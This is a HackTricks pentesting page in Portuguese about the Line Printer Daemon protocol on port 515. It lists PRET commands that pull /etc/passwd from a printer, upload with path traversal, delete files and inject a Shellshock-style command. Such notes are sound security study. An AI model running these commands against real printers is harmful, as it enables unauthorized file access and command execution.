515 - Pentesting Line Printer Daemon (LPD)

Support HackTricks

Introdução ao Protocolo LPD

Na década de 1980, o protocolo Line Printer Daemon (LPD) foi desenvolvido no Berkeley Unix, que mais tarde foi formalizado através do RFC1179. Este protocolo opera na porta 515/tcp, permitindo interações através do comando lpr. A essência da impressão via LPD envolve o envio de um arquivo de controle (para especificar detalhes do trabalho e do usuário) junto com um arquivo de dados (que contém as informações de impressão). Enquanto o arquivo de controle permite a seleção de vários formatos de arquivo para o arquivo de dados, o manuseio desses arquivos é determinado pela implementação específica do LPD. Uma implementação amplamente reconhecida para sistemas semelhantes ao Unix é o LPRng. Notavelmente, o protocolo LPD pode ser explorado para executar PostScript malicioso ou trabalhos de impressão PJL.

Ferramentas para Interagir com Impressoras LPD

PRET introduz duas ferramentas essenciais, lpdprint e lpdtest, oferecendo um método simples para interagir com impressoras compatíveis com LPD. Essas ferramentas permitem uma variedade de ações, desde imprimir dados até manipular arquivos na impressora, como baixar, enviar ou excluir:

# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local

Para indivíduos interessados em explorar mais o reino da impressão hacking, um recurso abrangente pode ser encontrado aqui: Hacking Printers.

Shodan

  • port 515

Support HackTricks

Last updated